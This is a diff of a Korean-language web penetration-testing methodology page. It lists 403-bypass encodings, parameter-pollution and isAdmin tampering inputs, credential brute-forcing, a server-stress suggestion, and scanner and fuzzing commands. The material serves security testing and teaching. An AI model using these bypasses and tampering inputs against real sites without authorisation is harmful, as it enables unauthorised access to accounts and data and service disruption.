- _**/**_**%2e/path를 사용해 보세요 _(프록시로 인해 접근이 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한 **\_\*\* /%252e\*\*/path (이중 URL 인코딩) 시도해 보세요.
- _**/**_**%2e/path를 사용해 보세요 _(프록시로 인해 접근이 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한**\_\*\* /%252e\*\*/path (이중 URL 인코딩) 시도해 보세요.
- **유니코드 우회**를 시도해 보세요: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로, 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
- **기타 경로 우회**:
- site.com/secret > HTTP 403 Forbidden
@ -71,7 +71,7 @@
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON 매개변수 오염)
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (매개변수 오염)
## **매개변수 조작**
## **Parameter Manipulation**
- **매개변수 값 변경**: **`id=123` --> `id=124`**
- URL에 추가 매개변수 추가: `?`**`id=124` —-> `id=124&isAdmin=true`**
@ -80,18 +80,18 @@
- 특수 문자 사용.
- 매개변수에서 경계 테스트 수행 — _-234_ 또는 _0_ 또는 _99999999_와 같은 값을 제공하세요 (몇 가지 예시 값).
## **프로토콜 버전**
## **Protocol version**
HTTP/1.1을 사용하는 경우 **1.0을 사용해 보세요** 또는 **2.0을 지원하는지 테스트해 보세요**.
## **기타 우회**
## **Other Bypasses**
- 도메인의 **IP** 또는 **CNAME**를 가져와서 **직접 연락해 보세요**.
- 일반 GET 요청을 보내 서버**부하를 주어 보세요** ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- 일반 GET 요청을 보내 서버를 **스트레스 테스트**해 보세요 ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
- **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경해 보세요.
- [**https://archive.org/web/**](https://archive.org/web/)에 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인해 보세요.
## **브루트 포스**
## **Brute Force**
- **비밀번호 추측**: 다음 일반 자격 증명을 테스트해 보세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 도전 이름은 무엇인가요?
- [**브루트 포스**](../../generic-hacking/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요.

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## 기본 정보
## Basic Info
웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 많은 **다양한 유형의 취약점**이 존재합니다.
@ -17,34 +17,34 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### 웹 API 가이드
### Web API Guidance
{{#ref}}
web-api-pentesting.md
{{#endref}}
## 방법론 요약
## Methodology summary
> 이 방법론에서는 도메인(또는 서브도메인)을 공격한다고 가정합니다. 따라서 발견된 각 도메인, 서브도메인 또는 범위 내의 불확실한 웹 서버가 있는 IP에 이 방법론을 적용해야 합니다.
- [ ] **웹 서버**에서 사용되는 **기술**을 **식별**하는 것부터 시작하세요. 기술을 성공적으로 식별할 수 있다면 나머지 테스트 동안 염두에 두어야 할 **트릭**을 찾아보세요.
- [ ] 기술 버전의 **알려진 취약점**이 있나요?
- [ ] 해당 기술 버전의 **알려진 취약점**이 있나요?
- [ ] **잘 알려진 기술**을 사용하고 있나요? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있나요?
- [ ] 실행할 **전문 스캐너**가 있나요(예: wpscan)?
- [ ] **일반 목적의 스캐너**를 실행하세요. 무언가를 발견할지, 흥미로운 정보를 찾을지 모릅니다.
- [ ] **일반 목적의 스캐너**를 실행하세요. 그들이 무언가를 발견할지, 흥미로운 정보를 찾을지 알 수 없습니다.
- [ ] **초기 점검**부터 시작하세요: **robots**, **sitemap**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우).
- [ ] 웹 페이지를 **스파이더링**하기 시작하세요: 가능한 모든 **파일, 폴더****사용되는 매개변수**를 **찾는** 시간입니다. 또한 **특별한 발견**을 확인하세요.
- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 합니다._
- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 스파이더링해야 한다는 점에 유의하세요._
- [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 브루트 포스하여 새로운 **파일** 및 **디렉토리**를 검색하세요.
- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포싱해야 합니다._
- [ ] _브루트 포싱 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 브루트 포싱해야 한다는 점에 유의하세요._
- [ ] **백업 확인**: 일반적인 백업 확장자를 추가하여 **발견된 파일**의 **백업**을 찾을 수 있는지 테스트하세요.
- [ ] **매개변수 브루트 포스**: **숨겨진 매개변수**를 **찾아보세요**.
- [ ] **브루트 포스 매개변수**: **숨겨진 매개변수**를 **찾아보세요**.
- [ ] **사용자 입력**을 수용하는 모든 가능한 **엔드포인트**를 **식별**한 후, 관련된 모든 종류의 **취약점**을 확인하세요.
- [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md)
## 서버 버전 (취약한가?)
## Server Version (Vulnerable?)
### 식별
### Identify
실행 중인 서버 **버전**에 대한 **알려진 취약점**이 있는지 확인하세요.\
**응답의 HTTP 헤더 및 쿠키**는 사용 중인 **기술** 및/또는 **버전**을 **식별**하는 데 매우 유용할 수 있습니다. **Nmap 스캔**은 서버 버전을 식별할 수 있지만, [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) 또는 [**https://builtwith.com/**](https://builtwith.com)**와 같은 도구도 유용할 수 있습니다:**
@ -54,30 +54,30 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generic-hacking/search-exploits.md)
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **WAF 확인하기**
### **Check if any WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### 웹 기술 트릭
### Web tech tricks
다양한 잘 알려진 **기술**에서 **취약점**을 찾기 위한 **트릭**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
- [**Artifactory**](artifactory-hacking-guide.md)
- [**Buckets**](buckets/)
- [**Buckets**](buckets/index.html)
- [**CGI**](cgi.md)
- [**Drupal**](drupal/)
- [**Drupal**](drupal/index.html)
- [**Flask**](flask.md)
- [**Git**](git.md)
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL 데이터베이스**](h2-java-sql-database.md)
- [**IIS 트릭**](iis-internet-information-services.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**JBOSS**](jboss.md)
- [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
- [**Jira**](jira.md)
@ -86,39 +86,39 @@ Search **for** [**웹 애플리케이션의 취약점** **버전**](../../generi
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php에는 악용될 수 있는 흥미로운 트릭이 많음)**](php-tricks-esp/)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
- [**Tomcat**](tomcat/)
- [**Tomcat**](tomcat/index.html)
- [**VMWare**](vmware-esx-vcenter....md)
- [**웹 API 펜테스팅**](web-api-pentesting.md)
- [**Web API Pentesting**](web-api-pentesting.md)
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_같은 **도메인**이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\
_같은 도메인이 **다른 포트**, **폴더** 및 **서브도메인**에서 **다른 기술**을 사용할 수 있다는 점을 고려하세요._\
웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **다른 것**을 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!).
### 소스 코드 검토
### Source Code Review
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신의 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대한 **화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한** **정보**가 있을 수 있습니다:
- **Change-log 또는 Readme 또는 Version** 파일이나 **버전 정보에 접근 가능한** 것이 있나요?
- **자격 증명**은 어떻게 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
- **Change-log 또는 Readme 또는 Version** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있나요?
- **자격 증명**은 어떻게 그리고 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
- **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요?
- 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
- 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**?
- **github**에 (해결된 것과 해결되지 않은 것) **이슈**에 흥미로운 정보가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 포함된 비밀번호**)?
- **github**에 (해결된 것과 해결되지 않은) **문제**에 **흥미로운 정보**가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 포함된 비밀번호**)?
{{#ref}}
code-review-tools.md
{{#endref}}
### 자동 스캐너
### Automatic scanners
#### 일반 목적의 자동 스캐너
#### General purpose automatic scanners
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -134,11 +134,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
CMS가 사용되는 경우 **스캐너를 실행하는 것을 잊지 마세요**, 아마도 흥미로운 것이 발견될 수 있습니다:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 웹사이트의 보안 문제. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **또는** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **또는** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
wpscan --force update -e --url <URL>
@ -160,30 +160,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- 주요 및 보조 페이지의 주석도 확인하세요.
- 주요 및 보조 페이지의 댓글도 확인하세요.
**오류 강제 발생**
웹 서버는 이상한 데이터가 전송될 때 **예상치 못한 방식으로 동작할 수 있습니다**. 이는 **취약점**이나 **민감한 정보의 노출**을 열 수 있습니다.
- /whatever_fake.php (.aspx, .html, .etc)와 같은 **가짜 페이지**에 접근하기
- **가짜 페이지**에 접근하기: /whatever_fake.php (.aspx, .html, .etc)
- **쿠키 값****매개변수** 값에 **"\[]", "]]", 및 "\[\["** 추가하여 오류 생성
- **URL**의 **끝**에 **`/~randomthing/%s`** 입력하여 오류 생성
- PATCH, DEBUG 또는 FAKE와 같은 **다양한 HTTP 동사** 시도
- **URL**의 **끝**에 **`/~randomthing/%s`** 입력하여 오류 생성
- PATCH, DEBUG 또는 FAKE와 같은 **다 HTTP 동사** 시도
#### **파일 업로드 가능 여부 확인 (**[**PUT 동사, WebDav**](put-method-webdav.md)**)**
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**에 대한 충분한 권한이 없는 경우 다음을 시도하세요:
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드**를 위한 충분한 권한이 없는 경우 다음을 시도하세요:
- **자격 증명** 무작위 대입
- 웹 페이지 내에서 **발견된 폴더**의 **나머지**에 WebDav를 통해 **파일 업로드**. 다른 폴더에 파일을 업로드할 수 있는 권한이 있을 수 있습니다.
### **SSL/TLS 취약점**
- 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약합니다**
- 애플리케이션이 **어떤 부분에서도 HTTPS 사용을 강제하지 않는다면**, 이는 **MitM 공격에 취약**합니다.
- 애플리케이션이 **HTTP를 사용하여 민감한 데이터(비밀번호)를 전송하는 경우**, 이는 높은 취약점입니다.
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하여 **취약점**을 확인하고 (버그 바운티 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용하여 취약점을 재확인하세요:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -202,36 +202,36 @@ SSL/TLS 취약점에 대한 정보:
웹 내에서 **스파이더**를 실행합니다. 스파이더의 목표는 테스트된 애플리케이션에서 **가능한 많은 경로를 찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용하여 가능한 많은 유효한 경로를 찾아야 합니다.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 스파이더, JS 파일 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com)에서 링크 찾기.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML 스파이더, JS 파일에 대한 LinkFinder 및 Archive.org를 외부 소스로 사용.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 스파이더, "juicy files"도 표시.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML 스파이더. Archive.org에서도 검색.
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 스파이더는 아니지만 유용할 수 있습니다. 호스트가 있는 파일과 경로가 있는 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML 스파이더. 그러나 유지 관리되지 않는 것처럼 보이며, 미리 컴파일된 버전이 오래되었고 현재 코드는 컴파일되지 않습니다.
- [**gau**](https://github.com/lc/gau) (go): 외부 제공업체(wayback, otx, commoncrawl)를 사용하는 HTML 스파이더.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 이 스크립트는 매개변수가 있는 URL을 찾아 나열합니다.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML 스파이더.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 스파이더, JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있습니다. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새로운 경로를 검색할 수 있는 JS beautify 기능이 있는 HTML 스파이더. [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다. 이는 LinkFinder의 래퍼입니다.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 내장된 자바스크립트 파일 모두에서 엔드포인트를 추출합니다. 버그 헌터, 레드 팀원, 정보 보안 전문가에게 유용합니다.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용하여 JavaScript 파일에서 상대 URL을 구문 분석하는 Python 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 멋진 정규 표현식을 사용하여 상대 URL을 추출합니다.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript 파일에서 상대 URL을 구문 분석하기 위해 Tornado와 JSBeautifier를 사용하는 Python 2.7 스크립트. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지 관리되지 않는 것처럼 보입니다.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 파일(HTML)을 주면 정규 표현식을 사용하여 상대 URL을 추출합니다.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 여러 도구): 여러 도구를 사용하여 JS 파일에서 흥미로운 정보를 수집합니다.
- [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 인쇄합니다.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장입니다.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구입니다.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저에서 페이지를 로드하고 페이지를 로드하는 데 필요한 모든 URL을 출력합니다.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구의 여러 옵션을 혼합한 콘텐츠 발견 도구.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 매개변수를 찾기 위한 Burp 확장.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL을 주면 아름답게 정리된 JS 코드를 가져오는 도구.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상에 대한 엔드포인트를 발견하는 데 사용되는 도구입니다.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견합니다(응답을 다운로드하고 더 많은 링크를 찾습니다).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성까지 크롤링하고 특정 정규 표현식을 사용하여 민감한 정보를 찾습니다.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback 머신에서 링크를 발견하고 응답을 다운로드하여 더 많은 링크를 찾습니다.
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 양식 작성 및 특정 정규 표현식을 사용하여 민감한 정보를 찾는 크롤러.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite는 사이버 보안 전문가를 위해 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge는 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이를 위한 멋진 도구입니다.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL, 경로, 비밀 및 기타 흥미로운 데이터를 JavaScript 소스 코드에서 추출하기 위한 Go 패키지 및 [명령줄 도구](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 매개변수와 엔드포인트를 추출하여 퍼징 및 열거를 위한 사용자 정의 단어 목록을 생성하는 간단한 **Burp Suite 확장**입니다.
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 작업에 대한 멋진 도구입니다.
- [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 인쇄합니다.
### 디렉토리 및 파일에 대한 무차별 대입
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든 디렉토리**를 무차별 대입해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 무차별 대입**재귀적으로** 수행하고 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
루트 폴더에서 **무차별 대입**을 시작하고 **이 방법**을 사용하여 발견된 **모든 디렉토리**를 무차별 대입해야 하며, **스파이더링**에 의해 **발견된** 모든 디렉토리도 포함해야 합니다(이 무차별 대입**재귀적으로** 수행할 수 있으며, 사용된 단어 목록의 시작 부분에 발견된 디렉토리 이름을 추가할 수 있습니다).\
도구:
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며, **오래된** (및 **느린**) 기능이지만 작동합니다. 자동 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션에 비해 너무 느립니다.
@ -240,15 +240,15 @@ SSL/TLS 취약점에 대한 정보:
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 빠르며, 재귀 검색을 지원합니다.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 빠름: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 이는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복" URL을 삭제하는 도구입니다.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하는 Burp 확장입니다.
- [**uro**](https://github.com/s0md3v/uro) (python): 이 도구는 스파이더는 아니지만 발견된 URL 목록을 주면 "중복된" URL을 삭제합니다.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): 다양한 페이지의 burp 기록에서 디렉토리 목록을 생성하기 위한 Burp 확장.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 기능이 중복된 URL을 제거합니다(기반 js 가져오기).
- [**Chamaleon**](https://github.com/iustin24/chameleon): 사용된 기술을 감지하기 위해 wapalyzer를 사용하고 사용할 단어 목록을 선택합니다.
**추천 사전:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** 포함 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [**Dirsearch** 포함 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote 단어 목록](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -269,56 +269,56 @@ _무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견
### 발견된 각 파일에서 확인할 사항
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계가 발생할 수 있는 HTML 내의 끊어진 링크를 찾습니다.
- **파일 백업**: 모든 파일을 찾은 후 실행 가능한 모든 파일의 백업을 찾습니다("_.php_", "_.aspx_"...). 백업 파일의 일반적인 명명 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 또한 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** 사용할 수 있습니다.**
- **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.**
- **파일 백업**: 모든 파일을 찾은 후 실행 파일의 백업을 찾습니다("_.php_", "_.aspx_"...). 백업 파일의 일반적인 명명 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** 사용할 수 있습니다.**
- **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.**
- _Arjun 모든 기본 단어 목록:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **주석:** 모든 파일의 주석을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
- **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
- **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 있는 주석에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하고 웹 페이지의 **하단**에 주석으로 **정보를 숨기는 것**입니다.
